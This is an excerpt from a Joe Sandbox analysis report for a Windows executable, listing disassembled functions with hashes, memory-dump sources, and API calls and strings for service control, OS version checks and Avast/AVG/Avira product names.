Opcode ID: e8d787203d077b8dee2e384449dbcd208bf9959600b450eeb3a6d5bfa18b5b91
Instruction ID: d33de5500167ff84b284196897d4a1c8107f66e5f8f903fe9c52845146ed8444
Opcode Fuzzy Hash: e8d787203d077b8dee2e384449dbcd208bf9959600b450eeb3a6d5bfa18b5b91
Instruction Fuzzy Hash: 8EE1AE71E002198BCF19CFADD8916EEBBB1EF89304F14416EE905E7354EB3999818BD4

Function 005BB110 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 66b45074c21866958e3f65ab2f5c07c60f32e285f25e2e2b6d5a9942656c4ba7
Instruction ID: d19f618d04e12bc97c9efe3d79da34cdab08a38099659e41cdc8f8e4f694f447
Opcode Fuzzy Hash: 66b45074c21866958e3f65ab2f5c07c60f32e285f25e2e2b6d5a9942656c4ba7
Instruction Fuzzy Hash: 47B1D5755007068BEB38AB65CC86AFBBBE9FF44308F14492DE94286581EBF5F985C710

Function 0041BCB0 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1817b2c1ecf3c2808a1bf7cde865bc374a7146b52f051456978b17d758448ebe
Instruction ID: 5dc3a102d4489d15b8bf9a2a192f23bba485115f08954214fba81d644961abc1
Opcode Fuzzy Hash: 1817b2c1ecf3c2808a1bf7cde865bc374a7146b52f051456978b17d758448ebe
Instruction Fuzzy Hash: 87A15572F001199BDF0CCEADDD913ADB6B6EB88314F19C13AE90AE7351E6749D418B84

Function 0041CC40 Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7812eb02a6825e447627d939e89a4cde7ec4428a0b05035183ca790c1e55687
Instruction ID: 9c098ef7c8ecbe316760e0dd410fa9fc5a7b38f123d541e72571e0d3acd56261
Opcode Fuzzy Hash: d7812eb02a6825e447627d939e89a4cde7ec4428a0b05035183ca790c1e55687
Instruction Fuzzy Hash: 40819471F012199BDB14CFB9E8816EDBBB2AF85314F24823AE815E7380DA3459428B84

Function 004182D0 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 586bb14eaa812434244336444a2edf77ed653b01a5b9cb998f44c041625b8129
Instruction ID: d0a01405e17d9d2ba41d51ffe888415a1acb8ec9dd1a9c43fd1b89252fd9a925
Opcode Fuzzy Hash: 586bb14eaa812434244336444a2edf77ed653b01a5b9cb998f44c041625b8129
Instruction Fuzzy Hash: 5751F632F0151A9BDB14CA6DD8806EEFBB2EF94314F18823ED855E7341EA359845CB94

Function 00419B90 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19c2545f9b25896291e7e88a28529c6889172640416e2fa322399992db167e2e
Instruction ID: f470193351ce80a79fb6d0f0ade6f9994e0b829f72714ec2d7eb386af0a2fe97
Opcode Fuzzy Hash: 19c2545f9b25896291e7e88a28529c6889172640416e2fa322399992db167e2e
Instruction Fuzzy Hash: 51510231F052199BCB18CF6DE8D16EEB7E6EF89310B18823EE956DB341DA349C058744

Function 00417970 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82aa6474738eb987c07ecad2f3e385d3eaaafa041828e850ff807b006759f399
Instruction ID: 0a765bec4dae831cbafeeafbe713db74057855cefa101309eaf1adc81fb4147b
Opcode Fuzzy Hash: 82aa6474738eb987c07ecad2f3e385d3eaaafa041828e850ff807b006759f399
Instruction Fuzzy Hash: B351A4B2F002198BCF04DFADD9842EEB7B6AF88354F16813AD819AB340D7349D418B95

Function 0041DBB0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b1053573f4c4f9bd13b5360db28370f6752072e8a8dfc64db4a6445053646b0
Instruction ID: 87d85010588270f866a40592b3c67b64a2a3f0061b819c7d486d456681e95b75
Opcode Fuzzy Hash: 8b1053573f4c4f9bd13b5360db28370f6752072e8a8dfc64db4a6445053646b0
Instruction Fuzzy Hash: ED41ABB1A049658BEF148E1998A03F7BB90DF63354F20489BD8C74F343E56A198BD3E4

Function 0041F740 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04a4fecd5a2cba7149e8465f2a97fe3c0eb5a8a9c90a25690d4c9f14affec280
Instruction ID: 5d760db45bbc5e5826d21f96280591c7e123e2a9f50008804bd948459399cc64
Opcode Fuzzy Hash: 04a4fecd5a2cba7149e8465f2a97fe3c0eb5a8a9c90a25690d4c9f14affec280
Instruction Fuzzy Hash: F04167317085468BDF1C9E2D88915FEBBA1EF99314B14447FD486DF342DB38884B8765

Function 0045C450 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50c9f836ae6e056b034b45c3b87ae05b9f35dc90dab579b7562a06427f43abb6
Instruction ID: df09bf687c7ae1d5194bd3319e9b967cbfeea57029b7db754e2197df6c3b8058
Opcode Fuzzy Hash: 50c9f836ae6e056b034b45c3b87ae05b9f35dc90dab579b7562a06427f43abb6
Instruction Fuzzy Hash: 68518375E002198FCB84CFADC981A9EBBF1FF4C214B1581AAD819E7306D634AE558F94

Function 0041E6B0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88f150d2ddd4e56c85e2a02810a53b25b1d38d2fbf419c42428097e8d389a1a
Instruction ID: d192934d93f53cae5b9c1dba9777242e674792dba9e02b7e728b6f12079a3c45
Opcode Fuzzy Hash: e88f150d2ddd4e56c85e2a02810a53b25b1d38d2fbf419c42428097e8d389a1a
Instruction Fuzzy Hash: 6341AB3D3044068BEF1CCE2E88515FEBBA2DF95300714446FDC968B382EA384847D7A4

Function 00599E40 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 4f71d50cc82d98621bb64a6c3456834370f7981e23c05f11069ee2289827c763
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5711E77B20119243DE14CA6ED8B86F7AF9DFBD5321B2D477EE0424B758D222A9859600

Function 005B541A Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad376361486df1ad563fe47ed54b188f47a5300792fc8de9f089ce6941317fc7
Instruction ID: 4597ead9aaebc651dc5c1ec833a3e5208342fe2a4fdf86a0c24fb5ab504af4a4
Opcode Fuzzy Hash: ad376361486df1ad563fe47ed54b188f47a5300792fc8de9f089ce6941317fc7
Instruction Fuzzy Hash: 01E08C32915238EBCF29DB8CC948A8AF7ECFB84B11B110096F501D3141E670EE40CBD1

Function 005B1572 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea644e8bca55ee07d56998b892c52213cd6b62633769c12d6e45f117474e4d36
Instruction ID: bcf7652b25ae6538e8a5c58659478a3d94c14d1aaa774f84ec58a46d50e19040
Opcode Fuzzy Hash: ea644e8bca55ee07d56998b892c52213cd6b62633769c12d6e45f117474e4d36
Instruction Fuzzy Hash: 9DC08C34000D10C6CE39891082B13F43B54B7D57D2FD0088CC8430B682C51EFC86DE12

Function 00442F70 Relevance: 59.6, APIs: 3, Strings: 31, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,B6184AA8), ref: 00442F99
GetProcAddress.KERNEL32(00000000,on_avast_dll_unload), ref: 00442FA5
GetModuleHandleW.KERNEL32(00000000,00000001), ref: 00442FB3

Strings

ModuleId, xrefs: 00442FB9, 00443007
Avast Software, xrefs: 004432CC, 004432E3, 004432E4
AVG Technologies, xrefs: 004433FC
xn, xrefs: 00443046
ProductId, xrefs: 00443026
avast, xrefs: 00443339, 00443350, 00443351
avira, xrefs: 004436D8, 004436EF, 004436F0
Avira, xrefs: 00443652, 0044366F, 00443670
n, xrefs: 00443638
pvx, xrefs: 00443509
n, xrefs: 00443718
n, xrefs: 00443558
Privax, xrefs: 00443492, 004434AF, 004434B0
prf, xrefs: 004435E9
avg, xrefs: 0044340B, 00443422, 00443423
n, xrefs: 0044345D
,n, xrefs: 004434FC
on_avast_dll_unload, xrefs: 00442F9F
Avg, xrefs: 00443458
,n, xrefs: 004435DC
piriform, xrefs: 004435F8, 0044360F, 00443610
asw, xrefs: 0044332A
,n, xrefs: 004436BC
avr, xrefs: 004436C9
,n, xrefs: 00443401
Piriform, xrefs: 00443572, 0044358F, 00443590
,n, xrefs: 0044331D
n, xrefs: 00443379
Avast, xrefs: 004432F5
AVG, xrefs: 004433AF, 004433C6, 004433C7
privax, xrefs: 00443518, 0044352F, 00443530

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: ,n$,n$,n$,n$,n$AVG$AVG Technologies$Avast$Avast Software$Avg$Avira$ModuleId$Piriform$Privax$ProductId$asw$avast$avg$avira$avr$on_avast_dll_unload$piriform$prf$privax$pvx$xn$n$n$n$n$n
API String ID: 1883125708-2362391151
Opcode ID: 6c15accf592373fe09a2dc81dcfafc1b8fde85aa2a9911900912a7f0b2ab8bb7
Instruction ID: dfd8983921288039daed503f7c88198c96b241fc8b938f7f5457d740006ceb8d
Opcode Fuzzy Hash: 6c15accf592373fe09a2dc81dcfafc1b8fde85aa2a9911900912a7f0b2ab8bb7
Instruction Fuzzy Hash: 4C310975A0020597EB10EFA49D45BEF7779FB04B08F44412AF802B7380EB7D9A05C769

Function 00444DF0 Relevance: 47.6, APIs: 21, Strings: 6, Instructions: 347serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,B6184AA8,00000000,00000000), ref: 00444E28
OpenServiceW.ADVAPI32(00000000,00689C80,00000100), ref: 00444E5B
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00444E8A
GetLastError.KERNEL32 ref: 00444E94
ControlService.ADVAPI32(00000000,?,?), ref: 0044519C
GetLastError.KERNEL32 ref: 004451A6
GetLastError.KERNEL32(Unable to open the service control manager!), ref: 004452F4
GetLastError.KERNEL32(?,0068501C,00000000), ref: 00445311

Strings

Unable to send control code {} to the service '{}'!, xrefs: 004451B3
Unable to open the service control manager!, xrefs: 004452EF
ServicesActive, xrefs: 00444E21
Unable to query status of the service '{}'!, xrefs: 00444EA1
Unable to open the service '{}'!, xrefs: 0044531E
Unable to start the service '{}'!, xrefs: 004451F7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$Service$Open$ControlManagerQueryStatus
String ID: ServicesActive$Unable to open the service '{}'!$Unable to open the service control manager!$Unable to query status of the service '{}'!$Unable to send control code {} to the service '{}'!$Unable to start the service '{}'!
API String ID: 3142372742-1445417169
Opcode ID: 6a881635ef81098901b2bd66d2c4cdb37578fc0c39ebc69ce09e5972a39ee123
Instruction ID: f142cd7fac564f8866bb816267e91effee37a74108d070780d191b73ff0948d2
Opcode Fuzzy Hash: 6a881635ef81098901b2bd66d2c4cdb37578fc0c39ebc69ce09e5972a39ee123
Instruction Fuzzy Hash: 44E13CB0D016199BDF20DFA4DC49BEEBBB8BF14304F14419AE509E7281EB785A48CF65

Function 0045BBA0 Relevance: 35.2, APIs: 12, Strings: 8, Instructions: 231libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll,?,00000000,0000000C), ref: 0045BBEC
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 0045BC07
GetModuleHandleW.KERNEL32(kernel32,?,00000000,0000000C), ref: 0045BC27
GetProcAddress.KERNEL32(00000000,IsWow64Process2), ref: 0045BC37
GetCurrentProcess.KERNEL32(ntdll,RtlGetVersion,?,00000000,0000000C), ref: 0045BC55
GetModuleHandleW.KERNEL32(kernel32,?,00000000,0000000C), ref: 0045BCF7
GetProcAddress.KERNEL32(00000000,GetProductInfo), ref: 0045BD0E
GetLastError.KERNEL32(?,00000000,0000000C), ref: 0045BD1A
GetLastError.KERNEL32(?,00000000,0000000C), ref: 0045BD66
GetLastError.KERNEL32(?,0068501C,00000000,GetModuleHandleW ({}),00000015,ntdll,?,00000000,0000000C), ref: 0045BD8E
GetLastError.KERNEL32(Unable to determine native architecture of the system!,?,0068501C,00000000,?,GetProcAddress ({}),00000013,?,00000000,0000000C), ref: 0045BDBB
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 0045BDC5

Strings

GetProcAddress ({}), xrefs: 0045BD22, 0045BD96
ntdll, xrefs: 0045BBE0, 0045BBE7, 0045BC54, 0045BD6F
GetProductInfo, xrefs: 0045BD01, 0045BD07, 0045BD2A, 0045BD9E
RtlGetVersion, xrefs: 0045BBFA, 0045BC00, 0045BC50
GetModuleHandleW ({}), xrefs: 0045BD72
Unable to determine native architecture of the system!, xrefs: 0045BDB6
IsWow64Process2, xrefs: 0045BC31
kernel32, xrefs: 0045BC22, 0045BCEB, 0045BCF0

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$AddressHandleModuleProc$Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_errorCurrentProcess
String ID: GetModuleHandleW ({})$GetProcAddress ({})$GetProductInfo$IsWow64Process2$RtlGetVersion$Unable to determine native architecture of the system!$kernel32$ntdll
API String ID: 3541558775-2806269282
Opcode ID: 1cf816b425306d4b04320f02b1a227774b87139fa3b207f5fe9f5f3c81d1c3f9
Instruction ID: 2b534f71ba2868d3b96cf01617a26604e781bba666def07b9c818b55f961a4ba
Opcode Fuzzy Hash: 1cf816b425306d4b04320f02b1a227774b87139fa3b207f5fe9f5f3c81d1c3f9
Instruction Fuzzy Hash: F8712675A00604ABCB119FA4DC4AAAFB7B5FF54312F10851EE812D3281EF789909DBD9

Function 00401E50 Relevance: 33.6, APIs: 9, Strings: 10, Instructions: 351COMMON

Download Yara Rule

APIs

Part of subcall function 004453D0: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,B6184AA8,00000000,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 0044541C
Part of subcall function 004453D0: OpenServiceW.ADVAPI32(00000000,?,00000001,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 00445440
Part of subcall function 004453D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 00445453
Part of subcall function 004453D0: CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 0044546B
